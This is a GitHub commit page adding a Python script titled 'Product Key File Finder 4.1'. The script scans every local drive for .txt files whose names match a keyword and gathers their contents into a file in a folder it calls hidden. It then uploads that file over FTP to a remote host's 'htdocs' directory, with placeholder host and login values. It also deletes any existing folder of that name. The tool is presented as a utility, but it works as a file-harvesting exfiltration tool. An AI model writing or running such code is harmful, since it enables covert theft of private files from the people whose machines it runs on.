Skip to content

Commit 176339f

Browse files
authored
Create Product Key File Finder 4.1
fixed issue: if rrs folder or rrs.txt present program will return an error. to fix I've added if the path is exist run shutil.rmtree then create new using mkdir refer line no: 15,16,17 Added code: 15. if os.path.exists(pth): 16. shutil.rmtree(pth) 17. os.makedirs(pth)
1 parent 0940005 commit 176339f

File tree

1 file changed

+69
-0
lines changed

1 file changed

+69
-0
lines changed

Product Key File Finder 4.1

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
import glob, os, shutil, ftplib, string
2+
rs = ['%s://' % d for d in string.ascii_uppercase if os.path.exists('%s://' % d)]
3+
print(rs);
4+
print(len(rs));
5+
print('Execute: 10% Local Drive search complete')
6+
i = 0
7+
j = 0
8+
rss=[]
9+
ff = 'raja ram'
10+
print('Execute: 20%')
11+
directory = "rrs"
12+
file_name = "rrs.txt"
13+
print('Execute: 30% Hidden folder named rss is created in second local drive from list')
14+
pth = os.path.join(rs[1], directory)
15+
if os.path.exists(pth):
16+
shutil.rmtree(pth)
17+
os.makedirs(pth)
18+
print('Hidden folder path: ',pth)
19+
print('Execute: 40% Hidden file text.txt is created in hidden folder rss')
20+
CN = os.path.join(pth, file_name)
21+
print('Hidden file location: ',CN)
22+
file1 = open(CN, "a")
23+
file1.close()
24+
pp = CN
25+
print('Execute: 40% below files are present in system')
26+
while i != len(rs):
27+
os.chdir(rs[i])
28+
for file in glob.glob("**/*.txt", recursive = True):
29+
if ff in file:
30+
print(file)
31+
completeName = os.path.join(rs[i], file)
32+
print('File path: ',completeName)
33+
f = open(completeName,'r')
34+
print(f.read())
35+
f.close()
36+
rss.append(completeName)
37+
i += 1
38+
print('Execute: 100% showing result')
39+
print('scan done')
40+
print(rss)
41+
while j != len(rss):
42+
with open(rss[j]) as trs, open(pp, "a") as rrs:
43+
for line in trs:
44+
rrs.write(line.rstrip("\n") +'\t'+rss[j]+"\n")
45+
#shutil.copy(rss[j],pp)
46+
f = open(pp,'r')
47+
print(f.read())
48+
f.close()
49+
j+=1
50+
f = open(pp,'r')
51+
print(f.read())
52+
print('uploading data.......')
53+
filename = pp
54+
ftp = ftplib.FTP()
55+
host = "FTP CLIENT URL ENTER HERE"
56+
port = 21
57+
ftp.connect(host, port)
58+
print (ftp.getwelcome())
59+
try:
60+
print ("Logging in...")
61+
ftp.login("USERNAME ENTER HERE", "PASSWORD ENTER HERE")
62+
ftp.dir()
63+
ftp.cwd('htdocs')
64+
ftp.dir()
65+
with open(filename, "rb") as file:
66+
ftp.storbinary(f"STOR test.txt", file)
67+
ftp.dir()
68+
except:
69+
"failed to login"

0 commit comments

Comments
 (0)